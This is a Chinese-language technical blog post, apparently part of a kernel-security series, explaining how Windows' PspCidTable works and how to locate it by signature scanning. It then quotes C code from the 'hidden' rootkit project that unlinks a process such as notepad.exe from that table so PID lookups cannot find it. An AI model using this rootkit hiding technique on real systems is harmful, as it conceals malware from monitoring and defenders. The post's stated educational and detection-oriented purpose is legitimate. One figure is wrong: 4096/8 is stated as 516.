撰寫本系列文章目的在於提升資訊安全之實務能力,
並透過實作體悟到資訊安全領域的重要性,
本系列所有文章之內容皆有一定技術水平,
不得從事非法行為、惡意攻擊等非法活動,
「一切不合法規之行為皆受法律所約束」,
為了避免造成公司、廠商或玩家之間困擾,
所有實作不會拿已上市產品、Online Game 等等來作範例學習,
且部分具有深度、價值之內容,將會提升一定閱讀門檻(不對該技術做分析、解說),
請勿透過本系列文章所學,從事任何非法活動,請不要以身試法!!!
在昨日的文章中:
【Day 10】- 藏起來的 Process 真的看不見摸不著?(講解找出斷鏈後的 Process 方法)
已經有說到如何找出修改 ActiveProcessLinks 隱藏的 Process,
到文末時,
有稍微提到 PsLookupProcessByProcessId 會透過 PspCidTable 拿對應 PID 的 Object,
透過這樣的方式拿到 EProcess Address,
那今天就要來說說 PspCidTable 是什麼東西。
上一篇與上上篇還沒看得可以先去看看哦~
首先開始前要先說一下,
小弟我目前還屬於菜鳥階段,正不斷努力學習中,
若有發現錯誤或不妥之處還請不吝賜教。
歡迎大家多多留言,互相交流交流。
那就開始今天的主題吧~~
什麼是 PspCidTable ?
A Process's、A Thread's Kernel Object Handle Table
每個 Process 都有自己的 Handle Table,
Index 就是 Process 的 PID、TID,
要操作 Process 時(應該說要拿 EProcess Address 時),
通過 Index(PID、TID)存取 Handle Table,然後返回 object pointer。
那 PspCidTable 長什麼樣子?
在 WinDbg 中輸入 dt _HANDLE_TABLE
lkd> dt _HANDLE_TABLE
nt!_HANDLE_TABLE
   +0x000 NextHandleNeedingPool : Uint4B
   +0x004 ExtraInfoPages   : Int4B
   +0x008 TableCode        : Uint8B
   +0x010 QuotaProcess     : Ptr64 _EPROCESS
   +0x018 HandleTableList  : _LIST_ENTRY
   +0x028 UniqueProcessId  : Uint4B
   +0x02c Flags            : Uint4B
   +0x02c StrictFIFO       : Pos 0, 1 Bit
   +0x02c EnableHandleExceptions : Pos 1, 1 Bit
   +0x02c Rundown          : Pos 2, 1 Bit
   +0x02c Duplicated       : Pos 3, 1 Bit
   +0x02c RaiseUMExceptionOnInvalidHandleClose : Pos 4, 1 Bit
   +0x030 HandleContentionEvent : _EX_PUSH_LOCK
   +0x038 HandleTableLock  : _EX_PUSH_LOCK
   +0x040 FreeLists        : [1] _HANDLE_TABLE_FREE_LIST
   +0x040 ActualEntry      : [32] UChar
   +0x060 DebugInfo        : Ptr64 _HANDLE_TRACE_DEBUG_INFO
首先,先來逆向 PsLookupProcessByProcessId:
 
 
 
uf PsLookupProcessByProcessId
lkd> uf PsLookupProcessByProcessId
nt!PsLookupProcessByProcessId:
fffff800`09de0ad0 48895c2408      mov     qword ptr [rsp+8],rbx
fffff800`09de0ad5 4889742410      mov     qword ptr [rsp+10h],rsi
fffff800`09de0ada 48897c2418      mov     qword ptr [rsp+18h],rdi
fffff800`09de0adf 4156            push    r14
fffff800`09de0ae1 4883ec20        sub     rsp,20h
fffff800`09de0ae5 65488b342588010000 mov   rsi,qword ptr gs:[188h]
fffff800`09de0aee 4c8bf2          mov     r14,rdx
fffff800`09de0af1 66ff8ee6010000  dec     word ptr [rsi+1E6h]
fffff800`09de0af8 b203            mov     dl,3
fffff800`09de0afa e8412afcff      call    nt!PspReferenceCidTableEntry (fffff800`09da3540)
因為時間、文章長度的關係,我就直接講重點,
這邊看到 call 了一個 PspReferenceCidTableEntry,直接跟進去看,
uf fffff800`09da3540
lkd> uf fffff800`09da3540
nt!PspReferenceCidTableEntry:
fffff800`09da3540 48896c2420      mov     qword ptr [rsp+20h],rbp
fffff800`09da3545 56              push    rsi
fffff800`09da3546 4883ec20        sub     rsp,20h
fffff800`09da354a 488b05afbcedff  mov     rax,qword ptr [nt!PspCidTable (fffff800`09c7f200)]
不遠處就可以看到拿了 PspCidTable Address,
所以可以直接透過這個 API 來定位 PspCidTable,
PspCidTable 是沒有導出的,無法直接呼叫使用,
需要手動透過特徵定位。
定位方式:
一、取得 PsLookupProcessByProcessId Address
二、找到 call PspReferenceCidTableEntry
(特徵直接抓 0xe8 即可)
三、進入 PspReferenceCidTableEntry 這個 call
四、找到 rax,qword ptr [nt!PspCidTable (xxx)]
(特徵直接抓 0x48、0x8b 0x05 即可)
五、取得 PspCidTable Address
 
dp PspCidTable
fffff800`09c7f200
lkd> dp PspCidTable
fffff800`09c7f200  ffffcf01`82216cc0 fffff800`09c7f208
fffff800`09c7f210  fffff800`09c7f208 ffffe307`15ec0480
fffff800`09c7f220  00000000`00000000 00000000`00000000
fffff800`09c7f230  00001000`00010000 ffffe307`15ec7800
fffff800`09c7f240  00000000`00000000 00000002`00005e03
fffff800`09c7f250  00000000`00000000 00000000`00000000
fffff800`09c7f260  00000000`00000000 fffff800`0a158000
fffff800`09c7f270  fffff800`09886000 00000000`00000000
dt _HANDLE_TABLE ffffcf01`82216cc0
lkd> dt _HANDLE_TABLE ffffcf01`82216cc0
nt!_HANDLE_TABLE
   +0x000 NextHandleNeedingPool : 0x1800
   +0x004 ExtraInfoPages   : 0n0
   +0x008 TableCode        : 0xffffcf01`87f59001
   +0x010 QuotaProcess     : (null) 
   +0x018 HandleTableList  : _LIST_ENTRY [ 0x?? - 0x?? ]
   +0x028 UniqueProcessId  : 0
   +0x02c Flags            : 1
   +0x02c StrictFIFO       : 0y1
   +0x02c EnableHandleExceptions : 0y0
   +0x02c Rundown          : 0y0
   +0x02c Duplicated       : 0y0
   +0x02c RaiseUMExceptionOnInvalidHandleClose : 0y0
   +0x030 HandleContentionEvent : _EX_PUSH_LOCK
   +0x038 HandleTableLock  : _EX_PUSH_LOCK
   +0x040 FreeLists        : [1] _HANDLE_TABLE_FREE_LIST
   +0x040 ActualEntry      : [32]  ""
   +0x060 DebugInfo        : (null) 
再來就是 Table 是有分 Level 的:
判斷 Table 的 Level:
這裡的 TableCode:0xffffcf01`87f59001 結尾是 01
代表這張表是 Level2
dp 0xffffcf01`87f59000
lkd> dp 0xffffcf01`87f59000
ffffcf01`87f59000  ffffcf01`8221a000 ffffcf01`87f5a000
ffffcf01`87f59010  ffffcf01`88585000 ffffcf01`88b50000
ffffcf01`87f59020  ffffcf01`88fe9000 ffffcf01`89d39000
ffffcf01`87f59030  00000000`00000000 00000000`00000000
ffffcf01`87f59040  00000000`00000000 00000000`00000000
ffffcf01`87f59050  00000000`00000000 00000000`00000000
ffffcf01`87f59060  00000000`00000000 00000000`00000000
ffffcf01`87f59070  00000000`00000000 00000000`00000000
dp ffffcf01`8221a000
lkd> dp ffffcf01`8221a000
ffffcf01`8221a000  00000000`00000000 00000000`00000000
ffffcf01`8221a010  e30715ed`8040ff57 00000000`00000000
ffffcf01`8221a020  e30718f8`5080fe9b 00000000`00000000
ffffcf01`8221a030  e30715ec`8700fff7 00000000`00000000
ffffcf01`8221a040  e30715ec`e040fff7 00000000`00000000
ffffcf01`8221a050  e30715ed`3700fff7 00000000`00000000
ffffcf01`8221a060  e30715eb`9040fff7 00000000`00000000
ffffcf01`8221a070  e30715e4`e040fff7 00000000`00000000
e30715ed`8040ff57
dt _eprocess 0xFFFFE30715ED8040
lkd> dt _eprocess 0xFFFFE30715ED8040
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   --- --- ---
   --- --- ---
   --- --- ---
   +0x450 ImageFileName    : [15]  "System"
   --- --- ---
   --- --- ---
   --- --- ---
看到了吧,列舉到了系統 Process:System
補充:
每張 Table 在 x64 的大小是 0x1000(4096),
Level2 和 Level3 放的是 Pointer,大小是 8,
所以 Level2 和 Level3 都要列舉 4096 / 8 = 516 次,
Level1 是 _handle_table_entry 結構,所以大小是 16,
所以 Level1 要列舉 4096 / 16 = 256 次。
列舉結果:
所以說了這麼多要怎麼隱藏ㄋ?
請看 hidden Project 的 PsMonitor.c
我放一份在這裡:
VOID UnlinkProcessFromCidTable(PProcessTableEntry Entry)
{
	PVOID PspCidTable = GetPspCidTablePointer();
	if (!PspCidTable)
	{
		LogWarning("Can't unlink process %Iu from PspCidTable(NULL)", Entry->processId);
		return;
	}
	CidTableContext context;
	context.ProcessId = Entry->processId;
	context.Found = FALSE;
	EX_ENUMERATE_HANDLE_ROUTINE routine = (IsWin8OrAbove() ? (EX_ENUMERATE_HANDLE_ROUTINE)&RemoveHandleCallbackWin8 : &RemoveHandleCallback);
	if (!ExEnumHandleTable(PspCidTable, routine, &context, NULL))
	{
		LogWarning("Can't unlink process %Iu from PspCidTable", Entry->processId);
		return;
	}
	if (!context.Found)
	{
		LogWarning("Can't find process %Iu in PspCidTable", Entry->processId);
		return;
	}
	// Hack for Windows Vista, 7, to avoid lock bit leak
	if (!IsWin8OrAbove())
	{
		context.Entry->u1.Object = NULL;
		context.Entry->u2.GrantedAccess = 0;
	}
	Entry->cidEntryBackup = context.EntryBackup;
	Entry->cidEntry = context.Entry;
}
BOOLEAN RemoveHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry, HANDLE Handle, PVOID EnumParameter)
{
	PCidTableContext context = (PCidTableContext)EnumParameter;
	if (context->ProcessId != Handle)
		return FALSE;
	context->Found = TRUE;
	context->Entry = HandleTableEntry;
	context->EntryBackup = *HandleTableEntry;
	LogInfo(
		"PID %Iu has been removed from PspCidTable, entry:%p, object:%p, access:%08x",
		Handle,
		HandleTableEntry,
		context->EntryBackup.u1.Object,
		context->EntryBackup.u2.GrantedAccess
	);
	return TRUE;
}
notepad.exe 隱藏前:
在 R0 下,暴力列舉 PID,然後 CALL PsLookupProcessByProcessId:
在 R3 下,暴力列舉 PID,然後 CALL OpenProcess:
隱藏 notepad.exe:
隱藏後在 R0 下,暴力列舉 PID,然後 CALL PsLookupProcessByProcessId:
隱藏後在 R3 下,暴力列舉 PID,然後 CALL OpenProcess:
隱藏後在 R0 下,列舉 PspCidTable:
沒人找的到我了吧!哈哈哈哈哈~
好啦,明天開大絕,
教你/妳把 Windows 裡所有藏起來的 Process(Rookit)找出來 :D
好了,今天就講到這結束了,
大家若有發現哪裡寫得不好或錯誤的地方,都留個言討論一下吧 XD
那我們下期見 o( ̄▽ ̄)ブ